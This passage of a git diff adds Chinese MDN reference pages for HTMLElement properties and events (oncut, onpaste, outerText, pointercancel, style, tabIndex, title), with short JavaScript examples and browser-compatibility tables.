{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><strong>oncut</strong>属性用来获取或设置当前元素的<code>cut</code>事件的事件处理函数.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>element</em>.oncut = <em>functionRef</em>; +</pre> +<p><em>functionRef</em> 是一个函数名或者函数表达式.</p> +<h3 id="Example" name="Example">例子</h3> +<pre><html> +<head> +<title>oncut示例演示</title> + +<script> + function log(txt) + { + document.getElementById("log").appendChild(document.createTextNode(txt + "\n")); + } +</script> +</head> + +<body> +<h3>按说明进行操作!</h3> +<textarea rows="3" cols="80" oncopy="log('复制成功!');" oncut="log('剪切被阻止!'); return false;"> + 尝试剪切和复制该文本域内的文本! +</textarea> +<h3>Log</h3> +<textarea rows="15" cols="80" id="log" readonly="true"></textarea> +</body> +</html> +</pre> +<p>上例演示了如何允许复制一个文本域内的文本,但禁止剪切那些文本.并把每次操作结果打印出来.</p> +<h3 id="Notes" name="Notes">备注</h3> +<p>当用户尝试剪切选中元素或文本时会触发<code>cut</code>事件.</p> +<h3 id="Specification" name="Specification">规范</h3> +<p>不属于任何公开的规范.</p> +<h3 id="See_also" name="See_also">相关链接</h3> +<ul> + <li><code><a href="/zh-cn/DOM/element.oncopy" title="zh-cn/DOM/element.oncopy">oncopy</a></code></li> + <li><code><a href="/zh-cn/DOM/element.onpaste" title="zh-cn/DOM/element.onpaste">onpaste</a></code></li> +</ul> +<p>{{ languages( { "ja": "ja/DOM/element.oncut" ,"en": "en/DOM/element.oncut" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/onpaste/index.html b/files/zh-cn/web/api/htmlelement/onpaste/index.html new file mode 100644 index 0000000000..f180eaa91c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/onpaste/index.html @@ -0,0 +1,57 @@ +--- +title: element.onpaste +slug: Web/API/HTMLElement/onpaste +translation_of: Web/API/HTMLElement/onpaste +--- +<p>{{ Fx_minversion_header("3") }} {{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><strong>onpaste</strong> 属性用来获取或设置当前元素的<code>paste</code>事件的事件处理函数.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>element</em>.onpaste = <em>functionRef</em>; +</pre> +<p><em>functionRef</em> 是一个函数名或者函数表达式.</p> +<h3 id="Example" name="Example">例子</h3> +<pre><html> +<head> +<title>onpaste示例演示</title> +</head> + +<body> +<h3>按说明进行操作!</h3> +<textarea id="editor" rows="3" cols="80"> +尝试在这里粘贴文本! +</textarea> + +<script type="text/javascript"> + function log(txt) + { + document.getElementById("log").appendChild(document.createTextNode(txt + "\n")); + } + + function pasteIntercept(evt) + { + evt.preventDefault(); + log("粘贴被阻止"); + } + + document.getElementById("editor").addEventListener("paste", pasteIntercept, false); +</script> + +<h3>Log</h3> +<textarea rows="15" cols="80" id="log" readonly="true"></textarea> +</body> +</html> +</pre> +<p>上例演示了如何禁止向一个文本域内粘贴文本.</p> +<h3 id="Notes" name="Notes">备注</h3> +<p>当用户尝试粘贴文本时会触发<code>paste</code>事件.</p> +<h3 id="Specification" name="Specification">规范</h3> +<p>不属于任何公开的规范.</p> +<h3 id="Notes_2" name="Notes_2">备注</h3> +<p>没有任何DOM方法可以使用来获取将要粘贴的剪切板中的文字,你可以使用XPCOM接口{{ Interface("nsIClipboard") }}来进行这样的操作.</p> +<h3 id="See_also" name="See_also">相关链接</h3> +<ul> + <li><code><a href="/zh-cn/DOM/element.oncopy" title="zh-cn/DOM/element.oncopy">oncopy</a></code></li> + <li><code><a href="/zh-cn/DOM/element.oncut" title="zh-cn/DOM/element.oncut">oncut</a></code></li> +</ul> +<p>{{ languages( {"ja": "ja/DOM/element.onpaste" ,"en": "en/DOM/element.onpaste" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/outertext/index.html b/files/zh-cn/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..523ce9fc38 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/outertext/index.html @@ -0,0 +1,87 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +tags: + - HTMLElement.outerText +translation_of: Web/API/HTMLElement/outerText +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{ Non-standard_header() }}</p> + +<h2 id="概要">概要</h2> + +<p><strong><code>HTMLElement.outerText</code></strong>是一个非标准的属性。作为一个获得器，它返回与{{domxref("Node.innerText")}}一致的值。 作为一个设置器，它将删除当前节点并将其替换为给定的文本。</p> + +<h2 id="范例"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>范例</strong></span></font></h2> + +<p><a href="http://stackoverflow.com/a/18481435">查看StackOverflow上的回答.</a></p> + +<h2 id="规范">规范</h2> + +<p>不属于任何规范。关于标准规范的讨论:<a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>。</p> + +<p>微软 <u><a href="https://msdn.microsoft.com/en-us/library/ms534311(v=vs.85).aspx">在MSDN有一篇描述。</a></u></p> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Microsoft Edge</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Node.innerText")}}</li> + <li>{{domxref("Element.outerHTML")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html new file mode 100644 index 0000000000..620ce654d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/pointercancel_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: pointercancel event' +slug: Web/API/HTMLElement/pointercancel_event +translation_of: Web/API/HTMLElement/pointercancel_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary">当浏览器认为不再会有更多的指针事件, 或者在 {{event("pointerdown")}} 事件触发之后用户滚动或者缩放窗口，<strong><code>pointercancel</code></strong> 事件被触发。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Cancelable</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Interface</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointercancel">onpointercancel</a></code></td> + </tr> + </tbody> +</table> + +<p>常见需要 <code>pointercancel</code> 事件的地方：</p> + +<ul> + <li>用户在使用指针设备时按了硬件按钮，如用户打开任务切换界面或者按下手机的“Home”键；</li> + <li>指针正在使用时屏幕旋转；</li> + <li>浏览器认为用户不小心按了指针设备。例如，用户把手掌放在触摸屏上，触发了手掌检测；</li> + <li>{{cssxref("touch-action")}} CSS 属性不允许继续输入。</li> +</ul> + +<div class="note"> +<p>在 <code>pointercancel</code> 事件触发后，浏览器会按顺序发送 {{event("pointerout")}} 以及 {{event("pointerleave")}}。</p> +</div> + +<h2 id="示例">示例</h2> + +<p>使用 <code>addEventListener()</code>:</p> + +<pre class="brush: js notranslate">const para = document.querySelector('p'); + +para.addEventListener('pointercancel', (event) => { + console.log('Pointer event cancelled'); +});</pre> + +<p>使用 <code>onpointercancel</code> 事件句柄属性:</p> + +<pre class="brush: js notranslate">const para = document.querySelector('p'); + +para.onpointercancel = (event) => { + console.log('Pointer event cancelled'); +};</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + </tr> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointercancel-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.pointercancel_event")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>Related events + <ul> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/gotpointercapture_event">gotpointercapture</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/lostpointercapture_event">lostpointercapture</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerover_event">pointerover</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerenter_event">pointerenter</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerdown_event">pointerdown</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointermove_event">pointermove</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerup_event">pointerup</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerout_event">pointerout</a></code></li> + <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerleave_event">pointerleave</a></code></li> + </ul> + </li> + <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onpointercancel">onpointercancel</a></code> event handler property</li> + <li>This event on <code>Document</code> targets: <code><a href="/en-US/docs/Web/API/Document/pointercancel_event">pointercancel</a></code> event</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><code><strong>HTMLElement.style</strong></code> 属性返回一个 <a href="/zh-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> 对象，表示元素的 内联<a href="/zh-CN/docs/Web/HTML/Global_attributes#style"><code>style</code> 属性（attribute）</a>，但忽略任何样式表应用的属性。 通过 <code>style</code> 可以访问的 CSS 属性列表，可以查看 <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a>。</p> + +<p>由于 <code>style</code> 属性的优先级和通过style设置内联样式是一样的，并且在css层级样式中拥有最高优先级，因此在为特定的元素设置样式时很有用。</p> + +<h3 id="设置_style_属性">设置 <code>style</code> 属性</h3> + +<p>注意<strong>不能</strong>通过直接给style属性设置字符串（如：elt.style = "color: blue;"）来设置style，因为style应被当成是只读的（尽管Firefox(Gecko), Chrome 和 Opera允许修改它），这是因为通过style属性返回的<code><a href="https://developer.mozilla.org/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration">CSSStyleDeclaration</a>对象是只读的。但是style属性本身的属性<strong>能</strong>够用来设置样式。此外，通过单独的样式属性（如</code>elt.style.color = '...'<code>）比用</code>elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便，除非你希望完全通过一个单独语句来设置元素的全部样式，因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。</p> + +<h2 id="例子">例子</h2> + +<pre class="brush:js">// 在单个语句中设置多个样式 +elt.style.cssText = "color: blue; border: 1px solid black"; +// 或者 +elt.setAttribute("style", "color:red; border: 1px solid blue;"); + +// 设置特定样式，同时保持其他内联样式值不变 +elt.style.color = "blue"; +</pre> + +<h3 id="获取元素样式信息">获取元素样式信息</h3> + +<p>通常，要了解元素样式的信息，仅仅使用 <code>style</code> 属性是不够的，这是因为它只包含了在元素内嵌 style 属性（attribute）上声明的的 CSS 属性，而不包括来自其他地方声明的样式，如 {{HTMLElement("head")}} 部分的内嵌样式表，或外部样式表。要获取一个元素的所有 CSS 属性，你应该使用 {{domxref("window.getComputedStyle()")}}。</p> + +<pre class="brush: html"><!DOCTYPE HTML> +<html> +<body style="font-weight:bold;"> + + <div style="color:red" id="myElement">..</div> + + </body> +</html></pre> + +<p>下面的代码输出 style 所有属性的名字，以及为元素 <code>elt</code> 显式设置的属性值和继承的计算值（computed value）：</p> + +<pre class="brush: js">var element = document.getElementById("myElement"); +var out = ""; +var elementStyle = element.style; +var computedStyle = window.getComputedStyle(element, null); + +for (prop in elementStyle) { + if (elementStyle.hasOwnProperty(prop)) { + out += " " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n"; + } +} +console.log(out)</pre> + +<p>输出结果如下:</p> + +<pre>... +fontWeight = '' > 'bold' +color = 'red' > 'rgb(255, 0, 0)' +... +</pre> + +<p>请注意，计算样式中font-weight的值为“bold”，元素的style属性中缺少该值</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p> + +<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p> + +<h2 id="兼容性">兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.style")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>获取或设置当前元素的tab键激活顺序.</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval">element.tabIndex = <em>index </em><em>index </em>= element.tabIndex +</pre> + +<h3 id="Parameters" name="Parameters">参数</h3> + +<ul> + <li><code>index</code>是一个数字,表示顺序。取值需要在0到32767之间。</li> +</ul> + +<p>Tab键的遍历顺序是这样的：</p> + +<ol> + <li>对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。</li> + <li>对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。</li> + <li>处于不可用状态的元素不会被遍历到。</li> +</ol> + +<p>支持tabIndex属性的元素有：a,area,button,input,object,select和textarea<font face="monospace" size="3"><span style="line-height: 19.5px;">。</span></font></p> + +<p>tabIndex的值不需要是连续的，也不需要以某个特定值开始。</p> + +<h3 id="Example" name="Example">例子</h3> + +<pre>var b1 = document.getElementById("button1"); +b1.tabIndex = 1; +</pre> + +<h3 id="Specification" name="Specification">规范</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">W3C DOM Level 2 HTML tabIndex</a></p> + +<p>了解更多,请查看: <a href="/zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex" title="zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex">The solution: changes to standard behavior of tabindex</a></p> + +<p>{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/title/index.html b/files/zh-cn/web/api/htmlelement/title/index.html new file mode 100644 index 0000000000..340c56ef74 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/title/index.html @@ -0,0 +1,76 @@ +--- +title: HTMLElement.title +slug: Web/API/HTMLElement/title +translation_of: Web/API/HTMLElement/title +--- +<p>{{ APIRef() }}</p> + +<p><strong><code>HTMLElement.title</code></strong> 属性表示元素的 title。当鼠标移到节点上时，会以“工具提示”（tool tip）的弹出形式显示该属性的属性值文本。</p> + +<p>如果一个节点没有 <code>title</code> 属性（attribute），默认继承其父节点的相应属性，父节点可能是从父节点的父节点继承，依此类推。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval">var string = element.title;<em> +element.title</em> = <em>string</em>; +</pre> + +<h2 id="Example" name="Example">例子</h2> + +<pre><code>const link = document.createElement('a'); +link.innerText = '葡萄'; +link.href = 'https://en.wikipedia.org/wiki/Grape'; +link.title = '维基百科上对葡萄的描述';</code></pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> |